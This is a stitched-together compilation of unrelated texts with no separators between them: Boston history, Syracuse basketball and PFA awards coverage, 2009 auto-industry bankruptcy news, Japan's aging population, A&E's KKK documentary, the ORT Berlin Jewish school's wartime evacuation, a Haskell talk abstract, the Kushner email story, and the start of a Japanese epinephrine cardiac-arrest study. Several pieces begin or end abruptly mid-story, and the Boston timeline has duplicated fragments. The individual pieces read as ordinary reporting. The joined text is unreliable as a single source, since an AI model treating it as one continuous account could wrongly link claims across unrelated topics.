In the 1970s, after years of economic downturn, Boston boomed again. Financial institutions were granted more latitude, more people began to play the market, and Boston became a leader in the mutual fund industry. Health care became more extensive and expensive, and hospitals such as Massachusetts General Hospital, Beth Israel Deaconess Medical Center, and Brigham and Women's Hospital led the nation in medical innovation and patient care. Higher education also became more expensive, and universities such as Harvard, MIT, Boston College, BU and Tufts attracted hordes of students to the Boston area; many stayed and became permanent residents. MIT graduates, in particular, founded many successful high-tech companies, which made Boston second only to Silicon Valley as a high-tech center.
In 1974, the city dealt with a crisis when a federal district court judge, W. Arthur Garrity, ordered desegregation busing to integrate the city's public schools. Racially motivated violence erupted in several neighborhoods (many white parents resisted the busing plan). Public schools—particularly public high schools—became scenes of unrest and violence. Tension continued throughout the mid-1970s, reinforcing Boston's reputation for discrimination. A famous photograph, The Soiling of Old Glory, was taken in front of Boston City Hall, viscerally depicting the conflict.
The Columbia Point housing complex deteriorated until only 350 families remained living there in 1988. In 1984, the city of Boston gave control of the complex to a private developer, Corcoran-Mullins-Jennison, who re-developed and re-vitalised the property into a residential mixed-income community called Harbor Point Apartments. It is a very significant example of revitalisation and re-development and was the first federal housing project to be converted to private, mixed-income housing in the USA. Harbor Point has won much acclaim for this transformation, including awards from the Urban Land Institute, the FIABCI Award for International Excellence, and the Rudy Bruner Award for Urban Excellence.[63][64][65][66] It was used as a model for the federal HUD HOPE VI public housing program begun in 1992.[67]
On March 18, 1990, the largest art theft in modern history occurred in Boston. Twelve paintings, collectively worth over $100 million, were stolen from the Isabella Stewart Gardner Museum by two thieves posing as police officers. The paintings were not recovered.[citation needed]
Big Dig and public transit in the 2000s [ edit ]
Boston's Zakim Bunker Hill Bridge is a result of the Big Dig.
In 2007, the Central Artery/Tunnel project was completed. Nicknamed the Big Dig, it had been planned and approved in the 1980s under Massachusetts governor Michael Dukakis. With construction beginning in 1991, the Big Dig moved the remainder of the Central Artery underground, widened the north-south highway, and created local bypasses to prevent east-west traffic from contributing to congestion. The Ted Williams Tunnel became the third highway tunnel to East Boston and Logan International Airport as part of the project. The Big Dig also produced the landmark Zakim Bunker Hill Bridge, and will create over 70 acres (280,000 m²) of public parks in the heart of the city. The project as a whole has eased (but not eliminated) Boston's notorious traffic congestion; however, it is the most expensive construction project in United States history and the most expensive construction project in the world.[68]
The city also saw other transportation projects, including improvement and expansion to its mass transit system, notably to its commuter rail system to southeastern Massachusetts and the development of a bus rapid transit (BRT) system dubbed "The Silver Line." The maritime Port of Boston and Logan International Airport were also developed.
21st century [ edit ]
Downtown Boston as seen from Cambridge
Recently, Boston has experienced a loss of regional institutions and traditions, which once gave it a very distinct social character, as it has become part of the northeastern megalopolis. Examples include: the acquisition of the Boston Globe by The New York Times; the loss of Boston-headquartered publishing houses (noted above); the acquisition of the century-old Jordan Marsh department store by Macy's; and the loss to mergers, failures, and acquisitions of once-prominent financial institutions such as Shawmut Bank, BayBank, Bank of New England, and Bank of Boston. In 2004, this trend continued as Charlotte-based Bank of America acquired FleetBoston Financial, and P&G has announced plans to acquire Gillette.
Despite these losses, Boston's ambiance remains unique among world cities and, in many ways, has improved in recent years—racial tensions have eased dramatically, city streets bustle with a vitality not seen since the 1920s, and once again Boston has become a hub of intellectual, technological, and political ideas. Nevertheless, the city had to tackle gentrification issues and rising living expenses. According to Money Magazine, Boston is one of the world's 100 most expensive cities.[69]
Boston was the host city of the 2004 Democratic National Convention. The city also found itself at the center of national attention in early 2004 during the controversy over same-sex marriages. After the Massachusetts Supreme Judicial Court ruled that such marriages cannot be banned under the state's constitution, opponents and supporters of such marriages converged on the Massachusetts State House as the state legislature voted on a state constitutional amendment that would define marriage as only between a man and a woman. Much attention was focused on the city and the rest of Massachusetts when marriage licenses for same-sex couples were issued.
Also in 2004, the Boston Red Sox won their first World Series in 86 years, following it up three years later with a victory in 2007, another in 2013, and another World Series win in 2018. Boston sports continue to dominate.
On April 15, 2013, two bombs were detonated during the Boston Marathon, killing three people and injuring hundreds.
On August 20, 2017 the .boston top-level internet domain (GeoTLD) officially started taking registrations.[70]
Geographic expansion [ edit ]
1880 census map showing landfill and annexations up until that year.
The City of Boston has expanded in two ways—through landfill and through annexation of neighboring municipalities.
Between 1630 and 1890, the city tripled its physical size by land reclamation, specifically by filling in marshes and mud flats and by filling gaps between wharves along the waterfront, a process Walter Muir Whitehill called "cutting down the hills to fill the coves." The most intense reclamation efforts were in the 19th century. Beginning in 1807, the crown of Beacon Hill was used to fill in a 50-acre (20 ha) mill pond that later became the Bulfinch Triangle (just south of today's North Station area). The present-day State House sits atop this shortened Beacon Hill. Reclamation projects in the middle of the century created significant parts of the areas now known as the South End, West End, Financial District, and Chinatown. After The Great Boston Fire of 1872, building rubble was used as landfill along the downtown waterfront.
The most dramatic reclamation project was the filling in of the Back Bay in the mid to late 19th century. Almost six hundred acres (240 hectares) of brackish Charles River marshlands west of the Boston Common were filled in with gravel brought in by rail from the hills of Needham Heights. Boston also grew by annexing the adjacent communities of East Boston, Roxbury, Dorchester, West Roxbury (including Jamaica Plain and Roslindale), South Boston, Brighton, Allston, Hyde Park, and Charlestown, some of which were also augmented by landfill reclamation.
Several proposals to regionalize municipal government failed due to concerns about loss of local control, corruption, and Irish immigration, including:[71]
1896 – "County of Boston" proposal in the state legislature
1910 – "Real Boston" proposal by Edward Filene to create a regional advisory board
1912 – "Greater Boston" proposal by Daniel J. Kiley that would have enlarged the City of Boston to include all 32 municipalities within 10 miles
1919 – Annexation proposal by Boston Mayor Andrew Peters
The state government has regionalized some functions in Eastern Massachusetts, including the Massachusetts Bay Transportation Authority (public transit), the Massachusetts Water Resources Authority (water and sewer), and the Metropolitan District Commission (parks, later folded into the statewide Department of Conservation and Recreation).
Annexations and Landfill, 1804–1912. (Some dates approximate, due to time lag between approval and completion.)
Timeline of annexations, secessions, and related developments (incomplete):
Timeline of land reclamation (incomplete):
1857 – Filling of the Back Bay begins
– Filling of the Back Bay begins 1882 – Present-day Back Bay fill complete
– Present-day Back Bay fill complete 1890 – Charles River landfill reaches Kenmore Square, formerly the western end of the Back Bay mill pond
– Charles River landfill reaches Kenmore Square, formerly the western end of the Back Bay mill pond 1900 – Back Bay Fens fill complete
See also [ edit ]
Notes [ edit ]
References [ edit ]
» Read The Juice Online’s original report
» Discuss the latest developments
Syracuse coach Jim Boeheim thought that Melo might be cleared to play last Saturday against West Virginia, but those sources said the university held up some paperwork at the last minute to be completely sure that all requirements were in place to secure his return to game action.
A break in the schedule had the Orange only playing three games in a nearly two-week stretch, the three games Melo missed while sorting through academic responsibilities. The Orange went 2-1 in Melo’s absence, including their first loss of the season, 67-58 at Notre Dame Jan. 21.
“Can somebody tell @scoopjardine that #lobcity is back,” Melo later wrote on his Twitter account.
The grill of a Cadillac is seen inside the showroom of the General Motors Corp.'s Harlem Auto Mall in New York April 7, 2009. REUTERS/Shannon Stapleton
Also on Wednesday, Daimler forecast 2009 sales would fall and struggling contract automaker Karmann said it had filed for insolvency.
General Motors Corp, which has until June 1 to complete a reorganization plan, is in “intense” and “earnest” preparations for a possible bankruptcy filing, the source said on Tuesday, sending its shares tumbling, to close down 11.89 percent.
Meanwhile in Europe, Daimler AG warned on Wednesday morning it expected a “considerable” drop in revenue in all of its automotive businesses this year and pushed back its expectations of when the industry might turn around into the second half. It also repeated that it would post a significant loss in the first quarter.
German Chancellor Angela Merkel’s cabinet on Wednesday approved an increase in funds for its car scrapping subsidy, which pays a cash bonus to exchange old cars for new greener models, to 5 billion euros ($6.60 billion), a government official familiar with the decision told Reuters.
The move came a day after the European Investment Bank approved 866 million euros ($1.14 billion) of loans to several automakers, including Volkswagen AG, Nissan Motor Co Ltd and Jaguar Land Rover to help them develop and build more fuel-efficient vehicles in Europe.
The money is part of a 7 billion euro package to the industry the European Union’s lending arm expects to complete in the first half of this year.
Also on Wednesday, industry body data showed a deepening decline in demand for new cars in Russia, with sales plunging 47 percent in March year on year, compared with a 38 percent fall in February.
By 1044 GMT (6:44 a.m. EDT) the DJ Auto Stoxx European index was up 3 percent.
GM BANKRUPTCY INEVITABLE?
As Europe came to the aid of automakers, worries about the impact of possible automaker bankruptcies in the U.S. are widening and Canadian Industry Minister Tony Clement said on Tuesday the government must be prepared for GM or Chrysler to enter bankruptcy protection.
Clement said Canada would guarantee the warranties of cars sold by GM and Chrysler, regardless of whether the automakers go into bankruptcy protection.
GM, operating with $13.4 billion of government loans since the start of the year, is under pressure to cut unsecured debt by two-thirds and make half of its remaining payments into a union healthcare trust in equity to preserve cash. The government has warned the alternative would be bankruptcy.
A plan to split GM into a “new” company made up of its most successful units and an “old” company of unprofitable units, is gaining momentum and is seen as the most sensible configuration, said a source familiar with the talks.
Moody’s Investors Service said on Tuesday that GM and Chrysler have a 70 percent chance of bankruptcy due to the difficulty of winning deep concessions from creditors out of court.
“Given the lack of progress achieved and the additional progress that will be required in the revised plans, this threat will need to be seen as credible in order to compel adequate movement on the part of stakeholders,” Moody’s said.
Chrysler, owned by Cerberus Capital Management LP, also faces possible bankruptcy. Chrysler has until April 30 to complete an alliance with Italian automaker Fiat.
In Asia, South Korea’s cash-strapped sport utility vehicle maker Ssangyong Motor announced plans to slash its workforce and sell idle assets in a bid to ensure its survival.
Vietnam’s first-quarter car sales slumped 36 percent on higher taxes and the economic slowdown, an industry report said.
But China vehicle sales for March could hit a record high, the official Shanghai Securities News said on Wednesday.
News
The number of individuals aged 80 or more reached 10 million for the very first time in Japan. This is a record by modern country and may cause many issues for the country. The information was released by the Ministry of Internal Affairs and Communications on Sunday in concert with the day to respect for the aged in Japan. This means that 7.9 percents of the whole Japanese population are over 80 years of age. The number rose by 380,000 from a year before to 10.02 million.
The number of people aged 65 or older grew to a record of 33.84 million, or 26.7 percent of the total. They included 14.62 million men, representing 23.7 percent of the total population of men, and 19.21 million women, or 29.5 percent of all women.
The proportion of the elderly people with jobs is now at 29.3 percent for men and 14.3 percent for women. Of those aged from 65 to 69, 50.5 percent of men and 30.5 percent of women have jobs. The number of people aged over 65 with jobs has increased 11 years in a row.
Increased in the population of aged is happening in most of the developed countries. It is a great thing that science and medical department keep on developing with better facilities for elders. Human's life expectancy has improved incredibly. However, it creates the decrease in the proportion of young ones. Young people are the ones who work for the country. These are many issues raised and discussed by increasing aged people's population. Hopefully, the social system will be improved in order to have a greater environment for all the Japanese citizen from young babies to the oldest people.
On Friday A&E announced a title change for its planned documentary series “Generation KKK,” which has provoked a media firestorm weeks before its premiere. It is now called “Escaping the KKK: A Documentary Series Exposing Hate in America” which, according to a network press release, “better reflects our longstanding intention and the content itself.”
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As noted in previous coverage of the series, the intended mission of the eight-part “Escaping the KKK” is one of anti-racist activism, focusing in part on mothers and children of Klan families who want to extricate themselves from the organization.
“Escaping the KKK” also traces the activities of three anti-racist activists, Daryle Lamont Jenkins, Arno Michaelis and Bryon Widner, whose work leads them to confront the patriarchs of these families in an effort to persuade them to leave the Klan or prevent their children from being indoctrinated into joining.
In addition to changing its title, A&E has also partnered with African American civil rights organization Color of Change, building on its previous partnership with the nation’s largest Jewish civil rights organization, the Anti-Defamation League. As part of this new partnership, “Escaping the KKK” will now feature in-show content between segments, which will be provided by civil rights leaders, to grant context to the images within the each episode. A&E is also producing a town hall discussion “to facilitate deeper dialogue about ending hate in America,” according to the press release.
Additionally, Color of Change, the ADL and A&E are developing viewer guides and an educational curriculum to accompany the series.
The show’s initial announcement earlier this week led to passionate criticism on Twitter, including from actors Ellen Pompeo, Jesse Williams and Wendell Pierce.
An A&E representative confirmed to Salon that as of now there are no plans to edit the existing episodes, which feature Steven Howard, the imperial wizard of the North Mississippi White Knights and former Iraq vet turned Klansman Chris Buckley, as well as a teenager, Cody Hutt, who is being courted by a neighbor who is a Klansman. However, he did not rule out possible edits in the future, noting that discussions about the series are ongoing.
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Another motivation behind A&E’s title change is to clarify that “Escaping the KKK” is a serious documentary series, created with the same gravitas as the channel’s recent addition “Leah Remini: Scientology and the Aftermath.”
“We are glad to have some of the country’s leading civil rights organizations, including the ADL, Color of Change and others as partners in this effort, and look forward to working together to impact hate in America,” said Rob Sharenow, executive vice president and general manager of A&E and Lifetime, in the press release, later adding, “[The] goal is to expose and combat racism and hatred in all its forms and we appreciate the valuable feedback we have received.”
The cars of the train that was supposed to travel west, toward Holland, were locked. Two of the smaller boys were hoisted up to break through the windows and open the doors from within. After midnight the train started its journey.
ORT Berlin students and their teacher. In December 1939, the school in effect 'reopened' in Leeds.
Three days before the start of World War II, half the student body of the ORT Berlin vocational high school had succeeded in leaving Nazi Germany and within a few hours had boarded a ship that took them to safety in Britain. But the path of the remaining 100 or so Jewish students at the school, who were supposed to set off a week later, was blocked by the invasion of Poland, and with the declaration by Britain and France of war on Germany two days later, on September 1. They had no choice but to return to the school building on Siemensstrasse, in Berlin's Moabit quarter, and resume their lessons, without knowing how long they would be allowed to continue. Theirs was the last Jewish school in operation in Nazi Germany.
World ORT, the international educational movement, was founded in 1880 in St. Petersburg, Russia, to provide professional and vocational training for young Jews. In 1921, following the Bolshevik revolution, it moved its headquarters to Berlin. That Berlin office dealt mainly with fund-raising and support for branches in other countries where the Jews were less well off. In Germany itself, World ORT had no schools, as the Jews of that country - enjoying the height of material and cultural success in the 1920s and early 1930s - had no need of philanthropy from other Jewish communities. German Jews preferred the prestigious gymnasiums, where they could educate their children in white-collar professions.
Eichmann's letter notifying ORT that it is part of the "Association of Jews in Germany."
With the rise of the Nazi Party to power in 1933, however, the situation was reversed, and the German Jews were those in need of outside assistance. Jewish children were thrown out of "Aryanized" schools, and lawyers, doctors, business executives and civil servants were fired from their jobs. In the first years of Nazi rule, ORT focused on professional training for adults, to equip them with "practical" skills, but the main mission was to set up a new vocational high school in Berlin. But the growing restrictions on Jews, and in particular the confiscation of their property, made it extremely difficult to locate a building and purchase the necessary equipment.
The solution was to use ORT's international ties and have the British branch of the organization buy the school building and dormitory, as well as the mechanical equipment that would be used by the students. This was a clever move: During the school's first years, the Germans were reluctant to expropriate property of foreign citizens, even if they were Jews. But even after the necessary funds had been raised by ORT UK's donors, German bureaucracy continued dragging its feet for a year and a half, until finally, the Security Police official in charge of Jewish emigration, Adolf Eichmann, gave the necessary authorization to open the school. That was in April 1937, only after ORT had promised that all the school's graduates would leave Germany once their studies were over.
The fact that it was a British-owned school gave ORT Berlin a certain degree of immunity. On the night of November 9, 1938 - Kristallnacht - when groups of rioters were sent out with prepared lists to smash and burn synagogues and other Jewish-owned buildings, ORT Berlin was one of the few left untouched.
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The school offered its students training in mechanical engineering, electricity, plumbing, welding and as locksmiths. The opportunity to obtain a set of skills that might also enable them to emigrate made many parents enroll their sons at ORT. Families from smaller towns were also glad to send their sons to the boarding school, thinking that in Berlin, with its embassies and diplomats, the Nazis would restrain themselves from attacking Jews openly. A year after its foundation, the new school already had over 200 students.
A safe haven
Those who studied at ORT Berlin describe a sheltered haven amid the stormy Nazi capital. "Despite what was going on outside, we could learn in relative calm, we were left alone," says Hans Futter in a phone call last week, from his home in England. He arrived at the school at the age of 15 from his hometown of Greifswald, on the Baltic coast. "I had to leave because they kicked all the Jewish children out of the school. I came to ORT after my brother, who started there nine months earlier. The level of study was high, but mainly it was a safe place, especially for the boys who had come from the provinces, because the Jews in Berlin were better connected and could usually find a job or emigrate. It was much harder for us."
"Life in the school was calm," says Sydney Sadler, speaking to Haaretz by phone from England. Like Futter, he was among the group of 106 who succeeded to fled Germany. "But we were always afraid they would close us down. I went to Jewish school[s] before that, but they closed us down. At 15, I went to work as a tea-taster, but they arrested my boss and I was at my wit's end about what to do. I got accepted at ORT and began studying engineering - that saved me."
By 1939, when war seemed likely, the ORT leadership in Britain became very worried about the school's fate. They decided to try and evacuate the entire school, with all its 215 students and teaching staff. Pressure was brought on the British Home Office, which was in principle against giving entry visas to Jewish refugees. The ORT people claimed that Britain could not allow valuable equipment and trained young men to remain in the hands of the German war-machine. Eventually the British government agreed to give visas to the students and teachers - on condition that the school's equipment would also be brought to Britain.
The school's headmaster, Werner Simon, began visiting the Gestapo offices to obtain exit permits from Germany. In August 1939, ORT UK sent one of its leaders to the German capital, Lieut. Col. Joseph Levey. Levey had served in the Scots Guard regiment during World War I; he strode into the SS building in Berlin, wearing his regimental uniform, including the Scottish kilt, shouting orders to the officers and clerks. When it seemed that the students would not be able to travel since they did not have British stamps on their passports, and the embassy's staff had already been evacuated - Levey located a local consular employee, broke into the embassy with him and had all the passports stamped.
"Colonel Levey succeeded where everyone else failed, because he was very impressive and the Germans still respected military figures," says Futter.
"We were ready to travel," recalls Sadler, "In June they told us twice that we are going, and then again in July. When it happened, we got a warning of two or three hours; they just called us up and said to get to the station. We were delighted to leave, we didn't realize at the time we would never see our parents again.
"My father came to see me and my brother off, my mother was too heartbroken to come. The station was pandemonium, hundreds of people trying to board trains, most of them Jews. We had to break a window to get in."
Kitchener, Kent
Twenty-four hours after departing Berlin by train, 106 students, seven teachers and their spouses - all led by Colonel Levey - arrived at Harwich on the English coast after sailing from Holland. The second group of just over 100 students, the rest of the teachers and Simon, the director, were supposed to arrive a week later.
The first group was taken to the Kitchener Camp in Kent, which was serving as a temporary center for thousands of Jewish refugees, relieved at reaching Britain in the last minute before war broke out. They remained at the camp for three months, until a new ORT school in Leeds was built and equipped, with the financial support of the local Jewish community and World ORT. The realization that the students and teachers of the other group were stuck in Berlin and would not be allowed to leave, began sinking in, along with the fears for parents and siblings still in Germany. Through the International Red Cross, each child was able to send one postcard a month to their families back in Germany, with a maximum of 20 words, and to receive one in return.
"It was very difficult to remain in contact," says Futter, "one postcard had to be very carefully worded. At some stage my parents were sent to a concentration camp, and then we got one letter in six months, and after that nothing."
In December 1939, the Berlin school in effect "reopened" in Leeds, with Joseph Levey acting as a stand-in headmaster. The colonel employed military discipline. The refugee-students were forbidden to speak in German outside their rooms. The school remained in existence until all the students graduated. Blind wartime bureaucracy intervened also in Britain: Students who had arrived in the United Kingom after their 16th birthday were later interned as enemy subjects. Some were even sent to Australia, others to the Isle of Man. Those who had arrived under the age of 16 were snapped up by the British army the moment they finished school because of their in-demand skills.
Meanwhile, back in Berlin, to their surprise, the remaining teachers were allowed to continue working in the school, though it was not only Jewish but now also the property of an enemy nation. While thousands of Jews in Berlin and throughout Germany were being arrested and sent to concentration camps, the ORT school, its students and staff were allowed to continue almost unhindered until 1943. The main reason seemed to be the Germans' interest in cultivating and maintaining a group of skilled laborers with necessary skills.
Little is known about those four years. The ORT archives still have parts of a correspondence with the German Interior Ministry and local courts over technical details of the school's legal status. Among other documents is a letter, signed by Eichmann, from March 1941, in which he notifies ORT that from now on they are part of the "Association of Jews in Germany" - the body into which the Nazis incorporated all the remaining Jewish organizations in the Third Reich.
Dr. Arthur Feige, one of the only two people in the second group from ORT Berlin (along with a student ) who survived, wrote a short account of his work at the school, in 1977.
"I also had a visa and travel permit, but it was too late," he wrote, "and along with the director Simon and other teachers, we resumed teaching in Berlin." Despite the appointment of an outside inspector "who caused a lot of trouble," for the next two years, they continued to function, accepting more students and even added new courses for adults.
Parsing stuff was the first killer app for me in Haskell: suddenly this interesting language actually made my paid work easier than it was before.
Parser combinators provide an embedded language that help you parse stuff easily. I came to this from a sysadmin direction (where I was using a lot of sed and grep) rather than from the abstract theoretical side of parsing, and so I hope my talk will be pretty hands on.
I plan to build a basic parser during the talk as motivation; most likely a parser for JSON.
Level: You won't need to know much Haskell for this. You don't need to know what a parser combinator is already.
USA Today reports that “Javanka” moved their accounts just days before reports began to emerge last week about the couple’s use of at least one private email account. It was later revealed that the couple has their own private domain — not just private addresses.
On Monday, Politico reported that they had used a third joint account in relation to White House business, and “hundreds” of emails had been sent to it. The revelation came on the back of scrutiny from both the House Oversight Committee and Senate Intelligence Committee in response to that reporting.
According to USA Today, Kushner and Trump switched to the Trump Organization server just as scrutiny intensified and after Kushner’s lawyer Abbe Lowell confirmed he had occasionally used a personal email account, but that the communications were mostly initiated by someone else and were usually news clips or political commentary. Lowell had also stated that the emails had been forwarded to the White House account, in line with regulations.
Renato Mariotti, a former federal prosecutor, told USA Today that while the emails Kushner and Trump sent and received could well have been innocuous, locating them on computers run by the Trump Organization “certainly creates the appearance of potential impropriety.” It also raises questions about who at the Trump Organization could have access to the emails.
The couple — reportedly dubbed “the royal family” by Secretary of State Rex Tillerson — is already under scrutiny over Kushner’s dealings with a Russian bank during the transition, as well as his presence at a meeting with a Kremlin-linked lawyer at Trump Tower during the campaign. The Senate Intelligence Committee, which is looking into the interference, wrote to Kushner, unhappy that they had learned of the first private account from the media, not from him during his closed-door testimony.
The House Oversight Committee, meanwhile, has asked the White House for a list of all officials who have used a private email account for White House business.
Axios reported Monday that the couple is planning to scale back their presence at the White House amid increasing scrutiny, as well as reports that they had upset key members of the administration with their ubiquitous influence.
The ex-Sheffield United full-back, 21, beat Manchester City's Sergio Aguero and Manchester United's Danny Welbeck to take the award.
"I was a bit surprised because defenders don't normally get these awards and get the limelight as much as the centre-forwards," he said.
Young Player of the Year - previous winners 2010-11 - Jack Wilshere
2009-10 - James Milner
2008-09 - Ashley Young
2007-08 - Cesc Fabregas
2006-07 - Cristiano Ronaldo
"It is a great honour to get the award and hopefully there is more to come."
Walker has been a regular for Tottenham this season, starting 33 of their 34 Premier League matches.
"It is always an honour to be selected by the people you play against and hopefully I can get a few more of these and some medals with Tottenham along the way."
His form earned him his first full international cap in November as he made his debut as a late substitute in England's 1-0 win over Spain at Wembley.
Media playback is not supported on this device Kyle Walker's derby winner for Spurs
He made his first start three days later as England beat Sweden by the same scoreline.
Preston North End defender Graham Alexander received the PFA Merit award at the ceremony in London in recognition of his services to the game, dating back to his debut as a Scunthorpe player in 1991.
The 40-year-old went on to play for Luton, Preston and Burnley before returning to Deepdale in 2011.
In 2011, he became only the second outfield player in English football history to make more than 1,000 professional appearances.
"To get recognition for what you have done in your career at any stage is great," he said. "I'm coming towards the end of my playing career and I'm privileged to be recognised by the people who I have played against for the last 20-odd years."
Sheffield United striker Ched Evans, who was jailed for five years on Friday after being convicted of rape, was named in the League One team.
The deadline for voting in the awards is mid-March.
Premier League team of the year: Joe Hart (Man City), Kyle Walker (Tottenham), Vincent Kompany (Man City), Fabricio Coloccini (Newcastle), Leighton Baines (Everton), David Silva (Man City), Yaya Toure (Man City), Gareth Bale (Tottenham), Scott Parker (Tottenham), Robin van Persie (Arsenal), Wayne Rooney (Man Utd).
Championship team: Kelvin Davis (Southampton), Nathaniel Clyne (Crystal Palace), James Tomkins (West Ham), Curtis Davies (Birmingham), Ian Harte (Reading), Adam Lallana (Southampton), Peter Whittingham (Cardiff), Mark Noble (West Ham), Matt Phillips (Blackpool), Rickie Lambert (Southampton), Jay Rodriguez (Burnley).
League One team: Ben Hamer (Charlton), Jack Hunt (Huddersfield), Michael Morrison (Charlton), Harry Maguire (Sheff Utd), Rhoys Wiggins (Charlton), Johnnie Jackson (Charlton), Stephen Quinn (Sheff Utd), Stephen Gleeson (MK Dons), Darren Potter (MK Dons), Jordan Rhodes (Huddersfield), Ched Evans (Sheff Utd).
Context Epinephrine is widely used in cardiopulmonary resuscitation for out-of-hospital cardiac arrest (OHCA). However, the effectiveness of epinephrine use before hospital arrival has not been established.
Objective To evaluate the association between epinephrine use before hospital arrival and short- and long-term mortality in patients with cardiac arrest.
Design, Setting, and Participants Prospective, nonrandomized, observational propensity analysis of data from 417 188 OHCAs occurring in 2005-2008 in Japan in which patients aged 18 years or older had an OHCA before arrival of emergency medical service (EMS) personnel, were treated by EMS personnel, and were transported to the hospital.
Main Outcome Measures Return of spontaneous circulation before hospital arrival, survival at 1 month after cardiac arrest, survival with good or moderate cerebral performance (Cerebral Performance Category [CPC] 1 or 2), and survival with no, mild, or moderate neurological disability (Overall Performance Category [OPC] 1 or 2).
Results Return of spontaneous circulation before hospital arrival was observed in 2786 of 15 030 patients (18.5%) in the epinephrine group and 23 042 of 402 158 patients (5.7%) in the no-epinephrine group (P < .001); it was observed in 2446 (18.3%) and 1400 (10.5%) of 13 401 propensity-matched patients, respectively (P < .001). In the total sample, the numbers of patients with 1-month survival and survival with CPC 1 or 2 and OPC 1 or 2, respectively, were 805 (5.4%), 205 (1.4%), and 211 (1.4%) with epinephrine and 18 906 (4.7%), 8903 (2.2%), and 8831 (2.2%) without epinephrine (all P <.001). Corresponding numbers in propensity-matched patients were 687 (5.1%), 173 (1.3%), and 178 (1.3%) with epinephrine and 944 (7.0%), 413 (3.1%), and 410 (3.1%) without epinephrine (all P <.001). In all patients, a positive association was observed between prehospital epinephrine and return of spontaneous circulation before hospital arrival (adjusted odds ratio [OR], 2.36; 95% CI, 2.22-2.50; P < .001). In propensity-matched patients, a positive association was also observed (adjusted OR, 2.51; 95% CI, 2.24-2.80; P < .001). In contrast, among all patients, negative associations were observed between prehospital epinephrine and long-term outcome measures (adjusted ORs: 1-month survival, 0.46 [95% CI, 0.42-0.51]; CPC 1-2, 0.31 [95% CI, 0.26-0.36]; and OPC 1-2, 0.32 [95% CI, 0.27-0.38]; all P < .001). Similar negative associations were observed among propensity-matched patients (adjusted ORs: 1-month survival, 0.54 [95% CI, 0.43-0.68]; CPC 1-2, 0.21 [95% CI, 0.10-0.44]; and OPC 1-2, 0.23 [95% CI, 0.11-0.45]; all P < .001).
Conclusion Among patients with OHCA in Japan, use of prehospital epinephrine was significantly associated with increased chance of return of spontaneous circulation before hospital arrival but decreased chance of survival and good functional outcomes 1 month after the event.
Epinephrine is widely used in cardiopulmonary resuscitation (CPR) for patients with out-of-hospital cardiac arrest (OHCA).1-3 However, its effectiveness in CPR has not been established. Epinephrine is associated with increased myocardial oxygen consumption and ventricular arrhythmias during the period after resuscitation.4 Concern has been raised regarding increased myocardial dysfunction5,6 and disturbed cerebral microcirculation after cardiac arrest.7 Findings in support of epinephrine use include animal studies that show a beneficial short-term effect of epinephrine,8,9 and evidence of increased cerebral and coronary perfusion by redirected peripheral blood flow has been reported.10,11
To verify the effectiveness of epinephrine in CPR, the influences of other factors, such as patients, bystanders, CPR by bystanders, life support by emergency medical service (EMS) personnel, and time from call to the scene or hospital arrival, need to be controlled. To control for the effects of covariates, a randomized controlled trial needs to be performed. However, such a study is not easily performed because of ethical reasons.
As for the effectiveness of epinephrine use in CPR, a large, retrospective registry study in Sweden reported that epinephrine is an independent predictor of mortality.12 A large, observational before-after study in Singapore showed that epinephrine is not beneficial for immediate or 1-month survival.13 Recently, 2 randomized controlled trials showed that patients receiving adrenaline during cardiac arrest had no statistically significant improvement in survival to hospital discharge, although there was a significantly improved likelihood of achieving return of spontaneous circulation (ROSC).14,15 These studies were limited by several methodological problems, such as the use of samples from a single center, type II errors, and imperfect randomization.14 In view of these previous studies, the findings are not consistent and the effectiveness of epinephrine in CPR has not been established. We thus performed a propensity analysis that sought to determine how epinephrine use in CPR before hospital arrival was associated with immediate and 1-month survival using national data from a whole sample of OHCAs between 2005 and 2008 in Japan.
Methods
EMS System and Data Collection
The EMS system in Japan has been described previously.16-18 Briefly, in Japan, municipal governments provide EMS through about 800 fire stations with dispatch centers. Because the Japanese guidelines do not allow EMS providers to terminate resuscitation in the field, all patients with OHCA who are treated by EMS personnel are transported to hospitals.19 Based on the standardized Utstein style template, registry of all OHCA cases in Japan is performed in a prospective, nationwide, and population-based manner by the Fire and Disaster Management Agency (FDMA). In particular, time from call to the scene or hospital arrival is measured using dispatch records at the fire station and an emergency lifesaving technician watch. Data concerning bystander CPR administration, automated external defibrillator use, and the characteristics of CPR by EMS personnel (eg, initial rhythm, defibrillation, intubation, epinephrine use) are collected using EMS records. To collect 1-month follow-up data, the EMS person in charge of each patient with OHCA has a face-to-face meeting with the physician who treated that patient at the hospital. If the patient is not at the hospital, the EMS personnel conducts a follow-up search. These data are initially handwritten. Then, in cooperation with the physicians in charge of patients with OHCA, the EMS personnel summarize the data of each OHCA case in standardized Utstein style.20,21 The data at the 807 fire stations with dispatch centers in the 47 prefectures are then electronically integrated into the national registry system on the FDMA database server.
In most cases, an ambulance crew consists of 3 emergency personnel, including at least 1 emergency lifesaving technician. Emergency lifesaving technicians have undergone extensive training in the provision of emergency care until arrival at the hospital. These technicians are permitted to insert an intravenous line and an adjunct airway and to use semiautomated external defibrillators.16 Specially trained emergency lifesaving technicians have been permitted to insert an intravenous line since July 2004, and certified emergency lifesaving technicians have been permitted to administer intravenous epinephrine since April 2006.16
Epinephrine use is implemented according to the FDMA resuscitation guidelines for emergency lifesaving technicians.22 Specifically, during the resuscitation of patients with OHCA, after checking the initial rhythm and using defibrillation when appropriate, along with CPR, emergency lifesaving technicians perform tracheal intubation and/or insert an intravenous line with approval from an online emergency physician. Then, after verifying the absence of impulse in the carotid artery, the emergency lifesaving technicians administer epinephrine with the approval of the emergency physician.22
Study Design and Patients
This was a prospective observational study using national registry data. The study was approved by the ethics committee at Kyushu University Graduate School of Medicine. The requirement for written informed consent was waived.
Patients were aged 18 years or older, had an OHCA before arrival of EMS personnel, were treated by EMS personnel, and were then transported to medical institutions between January 1, 2005, and December 31, 2008, in Japan.
Variables
The collected data included information on OHCA patients, CPR initiated by bystander, life support by EMS personnel, and patient outcome. When patients survived cardiac arrest, they were followed up for as long as 1 month after the event, and information on survival and neurological and physical status 1 month after the event was collected. Neurological outcomes 1 month after successful resuscitation were evaluated using the Glasgow-Pittsburgh Cerebral Performance Category (CPC) scale, which has 5 categories: (1) good cerebral performance; (2) moderate cerebral disability; (3) severe cerebral disability; (4) coma or vegetative state; and (5) death; and using the Overall Performance Category (OPC) scale, also with 5 categories: (1): no or mild neurological disability; (2) moderate neurological disability; (3) severe neurological disability; (4) coma or vegetative state; and (5) death.20,21,23 At 1 month after the event, the EMS person in charge of the patient with OHCA contacted the physician in charge of that patient at the medical facility and collected CPC and OPC data by chart review and an in-person interview. These data were entered into the national database.
